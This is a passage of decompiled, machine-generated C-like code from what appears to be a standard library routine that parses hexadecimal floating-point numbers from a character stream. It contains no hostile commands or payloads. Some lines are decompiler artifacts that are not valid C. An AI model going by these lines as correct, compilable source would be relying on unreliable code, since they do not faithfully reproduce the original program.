											goto L208;
										}
									}
								}
							}
						} else {
							if(r13d < 0x30) {
								__eflags = r13d;
								if(r13d != 0) {
									L205:
									_t968 = _a112;
									 *_t968 =  *((intOrPtr*)(_t956 + "0123456789ABCDEFabcdef-+XxPp"));
									_a112 = _t968 + 1;
									r13d = r13d + 1;
									__eflags = r13d;
								} else {
									__eflags = _t956;
									if(_t956 != 0) {
										goto L205;
									} else {
										r13d = 0;
									}
								}
							} else {
								_a84 = _a84 + 1;
							}
							_t850 =  <=  ? _t1084 : _a48;
							_t531 =  *(_t850 + _t1090);
							_a108 = 1;
							if(_t531 != 0x7f) {
								_t531 = _t531 + 1;
								 *(_t850 + _t1090) = _t531;
							}
							L208:
							_t964 =  *_t882;
							if(_t964 == 0) {
								L191:
								 *_t882 = 0;
								_t424 = 1;
								 *(_t882 + 8) = 1;
							} else {
								_t843 =  *((intOrPtr*)(_t964 + 0x38));
								_t1027 =  *_t843;
								if(_t1027 == 0) {
									L212:
									_t496 =  *((intOrPtr*)( *_t964 + 0x40))();
								} else {
									_t1042 =  *((intOrPtr*)(_t964 + 0x50));
									_t593 =  *_t1042;
									if(_t593 <= 0) {
										goto L212;
									} else {
										 *_t1042 = _t593 - 1;
										_t183 =  &(_t1027[1]); // 0x3
										 *_t843 = _t183;
										_t496 =  *_t1027 & 0x0000ffff;
									}
								}
								if((_t496 & 0x0000ffff) == 0xffff) {
									goto L191;
								} else {
									_t424 = 0;
									 *(_t882 + 8) = 0;
								}
							}
							continue;
						}
						goto L530;
					}
					__eflags = _t1090;
					if(_t1090 == 0) {
						_t592 = 0;
						__eflags = 0;
						goto L256;
					} else {
						__eflags = _a72 - 0xf;
						_t836 =  <=  ? _t1084 : _a48;
						_t553 =  *((intOrPtr*)(_t836 + _t1090));
						_t424 = 0;
						__eflags = _t553;
						_t547 = _t531 & 0xffffff00 | _t553 > 0x00000000;
						__eflags = _t553;
						sil = _t553 <= 0;
						__eflags = sil;
						if(sil <= 0) {
							L256:
							_t833 = _a72;
						} else {
							_t424 = _t547;
							_t1094 = _t1090 + _t836;
							__eflags = _t1094;
							if(_t1094 == 0) {
								goto L256;
							} else {
								_t833 = _a72;
								__eflags = _t833 - 0xf;
								_t1085 =  >  ? _a48 : _t1084;
								_t1053 = _v40;
								while(1) {
									_t548 =  *_t1053 & 0x000000ff;
									__eflags = _t548 - 0x7f;
									if(_t548 == 0x7f) {
										break;
									}
									__eflags = _t1094 - 1;
									_t554 =  *(_t1085 + _t1094 - 1) & 0x000000ff;
									if(_t1094 != 1) {
										__eflags = _t548 - _t554;
										if(_t548 != _t554) {
											goto L379;
										} else {
											goto L251;
										}
									} else {
										__eflags = _t548 - _t554;
										if(_t548 >= _t554) {
											L251:
											_t1094 = _t1094 - 1;
											__eflags =  *(_t1053 + 1);
											if( *(_t1053 + 1) > 0) {
												_t1053 = _t1053 + 1;
												__eflags = _t1053;
											}
											__eflags = _t1094;
											if(_t1094 != 0) {
												continue;
											} else {
												break;
											}
										} else {
											L379:
											sil = 1;
										}
									}
									goto L257;
								}
								_t592 = 0;
							}
						}
					}
					L257:
					__eflags = _t833 - 0x10;
					_t1092 = _a32;
					r12d = _a84;
					if(_t833 >= 0x10) {
						_t953 = _a48;
						__eflags = _t833 + 1 - 0x1000;
						if(_t833 + 1 >= 0x1000) {
							_t953 =  *((intOrPtr*)(_t953 - 8));
						}
						_t424 = E00402090(_t424, _t953);
					}
					_a88 = _t592;
					__eflags = _a108 & 0x00000001;
					if((_a108 & 0x00000001) != 0) {
						L169:
						__eflags = r13d;
						if(r13d == 0) {
							_t819 = _a112;
							 *_t819 = 0x30;
							_t820 = _t819 + 1;
							__eflags = _t820;
							_a112 = _t820;
						}
						goto L171;
					} else {
						L171:
						_t900 =  *_t882;
						_t570 = 0;
						__eflags = _t900;
						_t561 = 0;
						r15d = r12d;
						if(_t900 != 0) {
							_t817 =  *((intOrPtr*)( *((intOrPtr*)(_t900 + 0x38))));
							__eflags = _t817;
							if(_t817 == 0) {
								L175:
								_t479 =  *((intOrPtr*)( *_t900 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t900 + 0x50));
								if( *( *(_t900 + 0x50)) <= 0) {
									goto L175;
								} else {
									_t479 =  *_t817 & 0x0000ffff;
								}
							}
							_t424 = _t479 & 0x0000ffff;
							_t561 = 0;
							__eflags = (_t479 & 0x0000ffff) - 0xffff;
							dil = (_t479 & 0x0000ffff) != 0xffff;
							__eflags = dil;
						}
						_t901 =  *_a96;
						__eflags = _t901;
						if(_t901 != 0) {
							_t814 =  *((intOrPtr*)( *((intOrPtr*)(_t901 + 0x38))));
							__eflags = _t814;
							if(_t814 == 0) {
								L181:
								_t478 =  *((intOrPtr*)( *_t901 + 0x38))();
								r12d = r15d;
							} else {
								__eflags =  *( *(_t901 + 0x50));
								if( *( *(_t901 + 0x50)) <= 0) {
									goto L181;
								} else {
									_t478 =  *_t814 & 0x0000ffff;
								}
							}
							_t424 = _t478 & 0x0000ffff;
							_t570 = 0;
							__eflags = (_t478 & 0x0000ffff) - 0xffff;
							sil = (_t478 & 0x0000ffff) != 0xffff;
							__eflags = sil;
						}
						__eflags = _t561 - _t570;
						if(_t561 == _t570) {
							L274:
							__eflags = r13d;
							if(r13d == 0) {
								goto L284;
							}
						} else {
							__eflags =  *(_t882 + 8);
							_t1050 = _v48;
							if( *(_t882 + 8) == 0) {
								_t944 =  *_t882;
								__eflags = _t944;
								if(_t944 == 0) {
									L266:
									 *_t882 = 0;
								} else {
									_t811 =  *((intOrPtr*)( *((intOrPtr*)(_t944 + 0x38))));
									__eflags = _t811;
									if(_t811 == 0) {
										L263:
										_t477 =  *((intOrPtr*)( *_t944 + 0x38))();
									} else {
										__eflags =  *( *(_t944 + 0x50));
										if( *( *(_t944 + 0x50)) <= 0) {
											goto L263;
										} else {
											_t477 =  *_t811 & 0x0000ffff;
										}
									}
									__eflags = (_t477 & 0x0000ffff) - 0xffff;
									if((_t477 & 0x0000ffff) == 0xffff) {
										goto L266;
									} else {
										 *(_t882 + 0xa) = _t477;
									}
								}
								 *(_t882 + 8) = 1;
							}
							_t806 =  *_t1050;
							_t424 =  *((intOrPtr*)(_t806 + 0x20))();
							__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _t424;
							if(( *(_t882 + 0xa) & 0x0000ffff) != _t424) {
								r12d = r15d;
								goto L274;
							} else {
								E0043DFF0(_t424);
								 *_a112 =  *((intOrPtr*)( *_t806));
								_t942 =  *_t882;
								__eflags = _t942;
								r12d = r15d;
								if(_t942 == 0) {
									L279:
									 *_t882 = 0;
									_t424 = 1;
								} else {
									_t808 =  *((intOrPtr*)(_t942 + 0x38));
									_t1014 =  *_t808;
									__eflags = _t1014;
									if(_t1014 == 0) {
										L276:
										_t475 =  *((intOrPtr*)( *_t942 + 0x40))();
										r12d = r15d;
									} else {
										_t1051 =  *((intOrPtr*)(_t942 + 0x50));
										_t588 =  *_t1051;
										__eflags = _t588;
										if(_t588 <= 0) {
											goto L276;
										} else {
											 *_t1051 = _t588 - 1;
											 *_t808 =  &(_t1014[1]);
											_t475 =  *_t1014 & 0x0000ffff;
										}
									}
									__eflags = (_t475 & 0x0000ffff) - 0xffff;
									if((_t475 & 0x0000ffff) == 0xffff) {
										goto L279;
									} else {
										_t424 = 0;
									}
								}
								_a112 = _a112 + 1;
								 *(_t882 + 8) = _t424;
								__eflags = r13d;
								if(r13d == 0) {
									while(1) {
										L284:
										_t935 =  *_t882;
										_t584 = 0;
										__eflags = _t935;
										_t566 = 0;
										if(_t935 == 0) {
											goto L290;
										}
										_t796 =  *((intOrPtr*)( *((intOrPtr*)(_t935 + 0x38))));
										__eflags = _t796;
										if(_t796 == 0) {
											L288:
											_t470 =  *((intOrPtr*)( *_t935 + 0x38))();
										} else {
											__eflags =  *( *(_t935 + 0x50));
											if( *( *(_t935 + 0x50)) <= 0) {
												goto L288;
											} else {
												_t470 =  *_t796 & 0x0000ffff;
											}
										}
										_t424 = _t470 & 0x0000ffff;
										_t566 = 0;
										__eflags = (_t470 & 0x0000ffff) - 0xffff;
										dil = (_t470 & 0x0000ffff) != 0xffff;
										__eflags = dil;
										L290:
										_t936 =  *_a96;
										__eflags = _t936;
										if(_t936 != 0) {
											_t804 =  *((intOrPtr*)( *((intOrPtr*)(_t936 + 0x38))));
											__eflags = _t804;
											if(_t804 == 0) {
												L294:
												_t469 =  *((intOrPtr*)( *_t936 + 0x38))();
											} else {
												__eflags =  *( *(_t936 + 0x50));
												if( *( *(_t936 + 0x50)) <= 0) {
													goto L294;
												} else {
													_t469 =  *_t804 & 0x0000ffff;
												}
											}
											_t424 = _t469 & 0x0000ffff;
											_t584 = 0;
											__eflags = (_t469 & 0x0000ffff) - 0xffff;
											sil = (_t469 & 0x0000ffff) != 0xffff;
											__eflags = sil;
										}
										__eflags = _t566 - _t584;
										if(_t566 != _t584) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t939 =  *_t882;
												__eflags = _t939;
												if(_t939 == 0) {
													L305:
													 *_t882 = 0;
												} else {
													_t801 =  *((intOrPtr*)( *((intOrPtr*)(_t939 + 0x38))));
													__eflags = _t801;
													if(_t801 == 0) {
														L302:
														_t468 =  *((intOrPtr*)( *_t939 + 0x38))();
													} else {
														__eflags =  *( *(_t939 + 0x50));
														if( *( *(_t939 + 0x50)) <= 0) {
															goto L302;
														} else {
															_t468 =  *_t801 & 0x0000ffff;
														}
													}
													__eflags = (_t468 & 0x0000ffff) - 0xffff;
													if((_t468 & 0x0000ffff) == 0xffff) {
														goto L305;
													} else {
														 *(_t882 + 0xa) = _t468;
													}
												}
												 *(_t882 + 8) = 1;
											}
											_t424 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _v32;
											if(( *(_t882 + 0xa) & 0x0000ffff) == _v32) {
												_t937 =  *_t882;
												__eflags = _t937;
												if(_t937 == 0) {
													L315:
													 *_t882 = 0;
													_t467 = 1;
													goto L282;
												} else {
													_t798 =  *((intOrPtr*)(_t937 + 0x38));
													_t1010 =  *_t798;
													__eflags = _t1010;
													if(_t1010 == 0) {
														L312:
														_t471 =  *((intOrPtr*)( *_t937 + 0x40))();
													} else {
														_t1049 =  *((intOrPtr*)(_t937 + 0x50));
														_t585 =  *_t1049;
														__eflags = _t585;
														if(_t585 <= 0) {
															goto L312;
														} else {
															 *_t1049 = _t585 - 1;
															 *_t798 =  &(_t1010[1]);
															_t471 =  *_t1010 & 0x0000ffff;
														}
													}
													__eflags = (_t471 & 0x0000ffff) - 0xffff;
													if((_t471 & 0x0000ffff) == 0xffff) {
														goto L315;
													} else {
														_t467 = 0;
														L282:
														 *(_t882 + 8) = _t467;
														r12d = r12d - 1;
														__eflags = r12d;
														_t424 = 1;
														_a108 = 1;
														continue;
													}
												}
											}
										}
										__eflags = r12d;
										if(r12d < 0) {
											_t793 = _a112;
											 *_t793 = 0x30;
											_a112 = _t793 + 1;
											r12d = r12d + 1;
											__eflags = r12d;
										}
										r15d = r12d;
										goto L319;
									}
								}
							}
						}
						L319:
						_t1081 =  &_v34;
						while(1) {
							L332:
							_t902 =  *_t882;
							_t571 = 0;
							__eflags = _t902;
							_t562 = 0;
							if(_t902 == 0) {
								goto L338;
							}
							_t782 =  *((intOrPtr*)( *((intOrPtr*)(_t902 + 0x38))));
							__eflags = _t782;
							if(_t782 == 0) {
								L336:
								_t466 =  *((intOrPtr*)( *_t902 + 0x38))();
							} else {
								__eflags =  *( *(_t902 + 0x50));
								if( *( *(_t902 + 0x50)) <= 0) {
									goto L336;
								} else {
									_t466 =  *_t782 & 0x0000ffff;
								}
							}
							_t424 = _t466 & 0x0000ffff;
							_t562 = 0;
							__eflags = (_t466 & 0x0000ffff) - 0xffff;
							dil = (_t466 & 0x0000ffff) != 0xffff;
							__eflags = dil;
							L338:
							_t903 =  *_a96;
							__eflags = _t903;
							if(_t903 != 0) {
								_t790 =  *((intOrPtr*)( *((intOrPtr*)(_t903 + 0x38))));
								__eflags = _t790;
								if(_t790 == 0) {
									L342:
									_t465 =  *((intOrPtr*)( *_t903 + 0x38))();
								} else {
									__eflags =  *( *(_t903 + 0x50));
									if( *( *(_t903 + 0x50)) <= 0) {
										goto L342;
									} else {
										_t465 =  *_t790 & 0x0000ffff;
									}
								}
								_t424 = _t465 & 0x0000ffff;
								_t571 = 0;
								__eflags = (_t465 & 0x0000ffff) - 0xffff;
								sil = (_t465 & 0x0000ffff) != 0xffff;
								__eflags = sil;
							}
							__eflags = _t562 - _t571;
							if(_t562 != _t571) {
								__eflags =  *(_t882 + 8);
								if( *(_t882 + 8) == 0) {
									_t934 =  *_t882;
									__eflags = _t934;
									if(_t934 == 0) {
										L353:
										 *_t882 = 0;
									} else {
										_t787 =  *((intOrPtr*)( *((intOrPtr*)(_t934 + 0x38))));
										__eflags = _t787;
										if(_t787 == 0) {
											L350:
											_t424 =  *((intOrPtr*)( *_t934 + 0x38))();
										} else {
											__eflags =  *( *(_t934 + 0x50));
											if( *( *(_t934 + 0x50)) <= 0) {
												goto L350;
											} else {
												_t424 =  *_t787 & 0x0000ffff;
											}
										}
										__eflags = (_t424 & 0x0000ffff) - 0xffff;
										if((_t424 & 0x0000ffff) == 0xffff) {
											goto L353;
										} else {
											 *(_t882 + 0xa) = _t424;
										}
									}
									 *(_t882 + 8) = 1;
								}
								_t541 =  *(_t882 + 0xa) & 0x0000ffff;
								_t778 = _t1081;
								asm("o16 nop [cs:eax+eax]");
								while(1) {
									_t552 =  *(_t778 + 2) & 0x0000ffff;
									_t778 = _t778 + 2;
									__eflags = _t552;
									if(_t552 == 0) {
										break;
									}
									__eflags = _t552 - _t541;
									if(_t552 != _t541) {
										continue;
									} else {
										break;
									}
									L515:
									__eflags = r10b & 0x00000001;
									_t1072 =  ==  ? _t1092 : _t1071;
									__eflags = _a88;
									_t1073 =  !=  ? _t1092 :  ==  ? _t1092 : _t1071;
									 *((char*)( !=  ? _t1092 :  ==  ? _t1092 : _t1071)) = 0;
									 *_a232 = r9d;
									_t725 = _v56;
									__eflags = _t725 - 0x10;
									if(_t725 >= 0x10) {
										_t906 = _v80;
										__eflags = _t725 + 1 - 0x1000;
										if(_t725 + 1 >= 0x1000) {
											_t906 =  *((intOrPtr*)(_t906 - 8));
										}
										E00402090(_t424, _t906);
									}
									__eflags = 0;
									return 0;
									goto L530;
								}
								_t780 = _t778 -  &_v32 >> 1;
								__eflags = _t780 - 0x15;
								if(_t780 <= 0x15) {
									__eflags = r13d - 0x2f;
									if(r13d <= 0x2f) {
										_t932 = _a112;
										 *_t932 =  *((intOrPtr*)(_t780 + "0123456789ABCDEFabcdef-+XxPp"));
										_a112 = _t932 + 1;
										r13d = r13d + 1;
										__eflags = r13d;
									}
									_t929 =  *_t882;
									__eflags = _t929;
									if(_t929 == 0) {
										L330:
										 *_t882 = 0;
										_t461 = 1;
									} else {
										_t784 =  *((intOrPtr*)(_t929 + 0x38));
										_t1006 =  *_t784;
										__eflags = _t1006;
										if(_t1006 == 0) {
											L327:
											_t462 =  *((intOrPtr*)( *_t929 + 0x40))();
										} else {
											_t1048 =  *((intOrPtr*)(_t929 + 0x50));
											_t582 =  *_t1048;
											__eflags = _t582;
											if(_t582 <= 0) {
												goto L327;
											} else {
												 *_t1048 = _t582 - 1;
												 *_t784 =  &(_t1006[1]);
												_t462 =  *_t1006 & 0x0000ffff;
											}
										}
										__eflags = (_t462 & 0x0000ffff) - 0xffff;
										if((_t462 & 0x0000ffff) == 0xffff) {
											goto L330;
										} else {
											_t461 = 0;
										}
									}
									 *(_t882 + 8) = _t461;
									_t424 = 1;
									_a108 = 1;
									continue;
								}
							}
							r10d = _a108;
							__eflags = r10b & 0x00000001;
							if((r10b & 0x00000001) != 0) {
								_t904 =  *_t882;
								_t572 = 0;
								__eflags = _t904;
								_t563 = 0;
								_t1071 = _a112;
								r9d = r15d;
								if(_t904 != 0) {
									_t776 =  *((intOrPtr*)( *((intOrPtr*)(_t904 + 0x38))));
									__eflags = _t776;
									if(_t776 == 0) {
										L365:
										_t460 =  *((intOrPtr*)( *_t904 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t904 + 0x50));
										if( *( *(_t904 + 0x50)) <= 0) {
											goto L365;
										} else {
											_t460 =  *_t776 & 0x0000ffff;
										}
									}
									_t424 = _t460 & 0x0000ffff;
									_t563 = 0;
									__eflags = (_t460 & 0x0000ffff) - 0xffff;
									dil = (_t460 & 0x0000ffff) != 0xffff;
									__eflags = dil;
								}
								_t905 =  *_a96;
								__eflags = _t905;
								if(_t905 != 0) {
									_t773 =  *((intOrPtr*)( *((intOrPtr*)(_t905 + 0x38))));
									__eflags = _t773;
									if(_t773 == 0) {
										L371:
										_t459 =  *((intOrPtr*)( *_t905 + 0x38))();
										_t1071 = _a112;
										r9d = r15d;
										r10d = _a108;
									} else {
										__eflags =  *( *(_t905 + 0x50));
										if( *( *(_t905 + 0x50)) <= 0) {
											goto L371;
										} else {
											_t459 =  *_t773 & 0x0000ffff;
										}
									}
									_t424 = _t459 & 0x0000ffff;
									_t572 = 0;
									__eflags = (_t459 & 0x0000ffff) - 0xffff;
									sil = (_t459 & 0x0000ffff) != 0xffff;
									__eflags = sil;
								}
								__eflags = _t563 - _t572;
								if(_t563 != _t572) {
									__eflags =  *(_t882 + 8);
									if( *(_t882 + 8) == 0) {
										_t927 =  *_t882;
										__eflags = _t927;
										if(_t927 == 0) {
											L383:
											 *_t882 = 0;
										} else {
											_t770 =  *((intOrPtr*)( *((intOrPtr*)(_t927 + 0x38))));
											__eflags = _t770;
											if(_t770 == 0) {
												L380:
												_t458 =  *((intOrPtr*)( *_t927 + 0x38))();
												_t1071 = _a112;
												r9d = r15d;
												r10d = _a108;
											} else {
												__eflags =  *( *(_t927 + 0x50));
												if( *( *(_t927 + 0x50)) <= 0) {
													goto L380;
												} else {
													_t458 =  *_t770 & 0x0000ffff;
												}
											}
											__eflags = (_t458 & 0x0000ffff) - 0xffff;
											if((_t458 & 0x0000ffff) == 0xffff) {
												goto L383;
											} else {
												 *(_t882 + 0xa) = _t458;
											}
										}
										 *(_t882 + 8) = 1;
									}
									_t424 =  *(_t882 + 0xa) & 0x0000ffff;
									__eflags = _t424 - _a22;
									if(_t424 == _a22) {
										L387:
										 *_t1071 = 0x70;
										_t907 =  *_t882;
										__eflags = _t907;
										if(_t907 == 0) {
											L397:
											 *_t882 = 0;
											 *(_t882 + 8) = 1;
											goto L398;
										} else {
											_t764 =  *((intOrPtr*)(_t907 + 0x38));
											_t1001 =  *_t764;
											__eflags = _t1001;
											if(_t1001 == 0) {
												L391:
												_t454 =  *((intOrPtr*)( *_t907 + 0x40))();
												_t1071 = _a112;
											} else {
												_t1047 =  *((intOrPtr*)(_t907 + 0x50));
												_t580 =  *_t1047;
												__eflags = _t580;
												if(_t580 <= 0) {
													goto L391;
												} else {
													 *_t1047 = _t580 - 1;
													 *_t764 =  &(_t1001[1]);
													_t454 =  *_t1001 & 0x0000ffff;
												}
											}
											__eflags = (_t454 & 0x0000ffff) - 0xffff;
											if((_t454 & 0x0000ffff) == 0xffff) {
												goto L397;
											} else {
												_t925 =  *_t882;
												 *(_t882 + 8) = 0;
												__eflags = _t925;
												if(_t925 == 0) {
													L398:
													_t573 = 0;
												} else {
													_t767 =  *((intOrPtr*)( *((intOrPtr*)(_t925 + 0x38))));
													__eflags = _t767;
													if(_t767 == 0) {
														L399:
														_t456 =  *((intOrPtr*)( *_t925 + 0x38))();
														_t1071 = _a112;
													} else {
														__eflags =  *( *(_t925 + 0x50));
														if( *( *(_t925 + 0x50)) <= 0) {
															goto L399;
														} else {
															_t456 =  *_t767 & 0x0000ffff;
														}
													}
													_t573 = 0;
													__eflags = (_t456 & 0x0000ffff) - 0xffff;
													sil = (_t456 & 0x0000ffff) != 0xffff;
													__eflags = sil;
												}
											}
										}
										_t908 =  *_a96;
										__eflags = _t908;
										if(_t908 == 0) {
											_t427 = 0;
											__eflags = 0;
										} else {
											_t762 =  *((intOrPtr*)( *((intOrPtr*)(_t908 + 0x38))));
											__eflags = _t762;
											if(_t762 == 0) {
												L405:
												_t452 =  *((intOrPtr*)( *_t908 + 0x38))();
												_t1071 = _a112;
											} else {
												__eflags =  *( *(_t908 + 0x50));
												if( *( *(_t908 + 0x50)) <= 0) {
													goto L405;
												} else {
													_t452 =  *_t762 & 0x0000ffff;
												}
											}
											__eflags = (_t452 & 0x0000ffff) - 0xffff;
											_t427 = 0 | (_t452 & 0x0000ffff) != 0x0000ffff;
										}
										_t1083 = _t1071 + 1;
										__eflags = _t573 - _t427;
										if(_t573 != _t427) {
											__eflags =  *(_t882 + 8);
											if( *(_t882 + 8) == 0) {
												_t924 =  *_t882;
												__eflags = _t924;
												if(_t924 == 0) {
													L417:
													 *_t882 = 0;
												} else {
													_t759 =  *((intOrPtr*)( *((intOrPtr*)(_t924 + 0x38))));
													__eflags = _t759;
													if(_t759 == 0) {
														L414:
														_t451 =  *((intOrPtr*)( *_t924 + 0x38))();
														_t1071 = _a112;
													} else {
														__eflags =  *( *(_t924 + 0x50));
														if( *( *(_t924 + 0x50)) <= 0) {
															goto L414;
														} else {
															_t451 =  *_t759 & 0x0000ffff;
														}
													}
													__eflags = (_t451 & 0x0000ffff) - 0xffff;
													if((_t451 & 0x0000ffff) == 0xffff) {
														goto L417;
													} else {
														 *(_t882 + 0xa) = _t451;
													}
												}
												 *(_t882 + 8) = 1;
											}
											_t447 =  *(_t882 + 0xa) & 0x0000ffff;
											__eflags = _t447 - _a14;
											if(_t447 != _a14) {
												__eflags = _t447 - _a12;
												if(_t447 == _a12) {
													 *((char*)(_t1071 + 1)) = 0x2d;
													_t921 =  *_t882;
													__eflags = _t921;
													if(_t921 == 0) {
														goto L433;
													} else {
														_t755 =  *((intOrPtr*)(_t921 + 0x38));
														_t998 =  *_t755;
														__eflags = _t998;
														if(_t998 == 0) {
															L429:
															_t449 =  *((intOrPtr*)( *_t921 + 0x40))();
															goto L430;
														} else {
															_t1046 =  *((intOrPtr*)(_t921 + 0x50));
															_t578 =  *_t1046;
															__eflags = _t578;
															if(_t578 <= 0) {
																goto L429;
															} else {
																goto L428;
															}
														}
														goto L431;
													}
													goto L434;
												}
											} else {
												 *((char*)(_t1071 + 1)) = 0x2b;
												_t923 =  *_t882;
												__eflags = _t923;
												if(_t923 == 0) {
													L433:
													 *_t882 = 0;
													_t448 = 1;
												} else {
													_t755 =  *((intOrPtr*)(_t923 + 0x38));
													_t998 =  *_t755;
													__eflags = _t998;
													if(_t998 == 0) {
														L423:
														_t449 =  *((intOrPtr*)( *_t923 + 0x40))();
														L430:
														_t1071 = _a112;
													} else {
														_t1046 =  *((intOrPtr*)(_t923 + 0x50));
														_t578 =  *_t1046;
														__eflags = _t578;
														if(_t578 > 0) {
															L428:
															 *_t1046 = _t578 - 1;
															 *_t755 =  &(_t998[1]);
															_t449 =  *_t998 & 0x0000ffff;
														} else {
															goto L423;
														}
													}
													L431:
													__eflags = (_t449 & 0x0000ffff) - 0xffff;
													if((_t449 & 0x0000ffff) == 0xffff) {
														goto L433;
													} else {
														_t448 = 0;
													}
												}
												L434:
												_t1074 = _t1071 + 2;
												__eflags = _t1074;
												 *(_t882 + 8) = _t448;
												_t1083 = _t1074;
											}
										}
										while(1) {
											_t909 =  *_t882;
											__eflags = _t909;
											_t574 = 0;
											if(_t909 == 0) {
												goto L444;
											}
											_t745 =  *((intOrPtr*)( *((intOrPtr*)(_t909 + 0x38))));
											__eflags = _t745;
											if(_t745 == 0) {
												L442:
												_t443 =  *((intOrPtr*)( *_t909 + 0x38))();
											} else {
												__eflags =  *( *(_t909 + 0x50));
												if( *( *(_t909 + 0x50)) <= 0) {
													goto L442;
												} else {
													_t443 =  *_t745 & 0x0000ffff;
												}
											}
											_t574 = 0;
											__eflags = (_t443 & 0x0000ffff) - 0xffff;
											sil = (_t443 & 0x0000ffff) != 0xffff;
											__eflags = sil;
											L444:
											_t910 =  *_a96;
											__eflags = _t910;
											if(_t910 == 0) {
												__eflags = _t574;
												if(_t574 != 0) {
													goto L450;
												} else {
												}
											} else {
												_t753 =  *((intOrPtr*)( *((intOrPtr*)(_t910 + 0x38))));
												__eflags = _t753;
												if(_t753 == 0) {
													L448:
													_t439 =  *((intOrPtr*)( *_t910 + 0x38))();
												} else {
													__eflags =  *( *(_t910 + 0x50));
													if( *( *(_t910 + 0x50)) <= 0) {
														goto L448;
													} else {
														_t439 =  *_t753 & 0x0000ffff;
													}
												}
												(_t439 & 0x0000ffff) - 0xffff = _t574 - ((_t439 & 0x0000ffff) != 0xffff);
												if(_t574 != (_t439 & 0x0000ffff) != 0xffff) {
													L450:
													__eflags =  *(_t882 + 8);
													if( *(_t882 + 8) == 0) {
														_t920 =  *_t882;
														__eflags = _t920;
														if(_t920 == 0) {
															L460:
															 *_t882 = 0;
														} else {
															_t750 =  *((intOrPtr*)( *((intOrPtr*)(_t920 + 0x38))));
															__eflags = _t750;
															if(_t750 == 0) {
																L457:
																_t442 =  *((intOrPtr*)( *_t920 + 0x38))();
															} else {
																__eflags =  *( *(_t920 + 0x50));
																if( *( *(_t920 + 0x50)) <= 0) {
																	goto L457;
																} else {
																	_t442 =  *_t750 & 0x0000ffff;
																}
															}
															__eflags = (_t442 & 0x0000ffff) - 0xffff;
															if((_t442 & 0x0000ffff) == 0xffff) {
																goto L460;
															} else {
																 *(_t882 + 0xa) = _t442;
															}
														}
														 *(_t882 + 8) = 1;
													}
													__eflags = ( *(_t882 + 0xa) & 0x0000ffff) - _v32;
													if(( *(_t882 + 0xa) & 0x0000ffff) == _v32) {
														_t918 =  *_t882;
														__eflags = _t918;
														if(_t918 == 0) {
															L470:
															 *_t882 = 0;
															_t438 = 1;
															goto L436;
														} else {
															_t747 =  *((intOrPtr*)(_t918 + 0x38));
															_t994 =  *_t747;
															__eflags = _t994;
															if(_t994 == 0) {
																L467:
																_t445 =  *((intOrPtr*)( *_t918 + 0x40))();
															} else {
																_t1045 =  *((intOrPtr*)(_t918 + 0x50));
																_t576 =  *_t1045;
																__eflags = _t576;
																if(_t576 <= 0) {
																	goto L467;
																} else {
																	 *_t1045 = _t576 - 1;
																	 *_t747 =  &(_t994[1]);
																	_t445 =  *_t994 & 0x0000ffff;
																}
															}
															__eflags = (_t445 & 0x0000ffff) - 0xffff;
															if((_t445 & 0x0000ffff) == 0xffff) {
																goto L470;
															} else {
																_t438 = 0;
																L436:
																 *(_t882 + 8) = _t438;
																dil = 1;
																continue;
															}
															while(1) {
																L486:
																_t911 =  *_t882;
																__eflags = _t911;
																_t565 = 0;
																if(_t911 == 0) {
																	goto L492;
																}
																_t734 =  *((intOrPtr*)( *((intOrPtr*)(_t911 + 0x38))));
																__eflags = _t734;
																if(_t734 == 0) {
																	L490:
																	_t436 =  *((intOrPtr*)( *_t911 + 0x38))();
																} else {
																	__eflags =  *( *(_t911 + 0x50));
																	if( *( *(_t911 + 0x50)) <= 0) {
																		goto L490;
																	} else {
																		_t436 =  *_t734 & 0x0000ffff;
																	}
																}
																_t565 = 0;
																__eflags = (_t436 & 0x0000ffff) - 0xffff;
																dil = (_t436 & 0x0000ffff) != 0xffff;
																__eflags = dil;
																L492:
																_t912 =  *_a96;
																__eflags = _t912;
																if(_t912 == 0) {
																	_t424 = 0;
																	__eflags = _t565;
																	if(_t565 != 0) {
																		goto L498;
																	} else {
																	}
																} else {
																	_t742 =  *((intOrPtr*)( *((intOrPtr*)(_t912 + 0x38))));
																	__eflags = _t742;
																	if(_t742 == 0) {
																		L496:
																		_t431 =  *((intOrPtr*)( *_t912 + 0x38))();
																	} else {
																		__eflags =  *( *(_t912 + 0x50));
																		if( *( *(_t912 + 0x50)) <= 0) {
																			goto L496;
																		} else {
																			_t431 =  *_t742 & 0x0000ffff;
																		}
																	}
																	__eflags = (_t431 & 0x0000ffff) - 0xffff;
																	_t424 = 0 | __eflags != 0x00000000;
																	if(__eflags != 0) {
																		L498:
																		__eflags =  *(_t882 + 8);
																		if( *(_t882 + 8) == 0) {
																			_t917 =  *_t882;
																			__eflags = _t917;
																			if(_t917 == 0) {
																				L508:
																				 *_t882 = 0;
																			} else {
																				_t739 =  *((intOrPtr*)( *((intOrPtr*)(_t917 + 0x38))));
																				__eflags = _t739;
																				if(_t739 == 0) {
																					L505:
																					_t424 =  *((intOrPtr*)( *_t917 + 0x38))();
																				} else {
																					__eflags =  *( *(_t917 + 0x50));
																					if( *( *(_t917 + 0x50)) <= 0) {
																						goto L505;
																					} else {
																						_t424 =  *_t739 & 0x0000ffff;
																					}
																				}
																				__eflags = (_t424 & 0x0000ffff) - 0xffff;
																				if((_t424 & 0x0000ffff) == 0xffff) {
																					goto L508;
																				} else {
																					 *(_t882 + 0xa) = _t424;
																				}
																			}
																			 *(_t882 + 8) = 1;
																		}
																		_t533 =  *(_t882 + 0xa) & 0x0000ffff;
																		_t730 = _t1088;
																		asm("o16 nop [cs:eax+eax]");
																		while(1) {
																			_t551 =  *(_t730 + 2) & 0x0000ffff;
																			_t730 = _t730 + 2;
																			__eflags = _t551;
																			if(_t551 == 0) {
																				break;
																			}
																			__eflags = _t551 - _t533;
																			if(_t551 != _t533) {
																				continue;
																			} else {
																				break;
																			}
																			goto L515;
																		}
																		_t732 = _t730 -  &_v32 >> 1;
																		__eflags = _t732 - 0x15;
																		if(_t732 <= 0x15) {
																			__eflags = r14d - 7;
																			if(r14d <= 7) {
																				 *_t1083 =  *((intOrPtr*)(_t732 + "0123456789ABCDEFabcdef-+XxPp"));
																				_t1083 = _t1083 + 1;
																				r14d = r14d + 1;
																				__eflags = r14d;
																			}
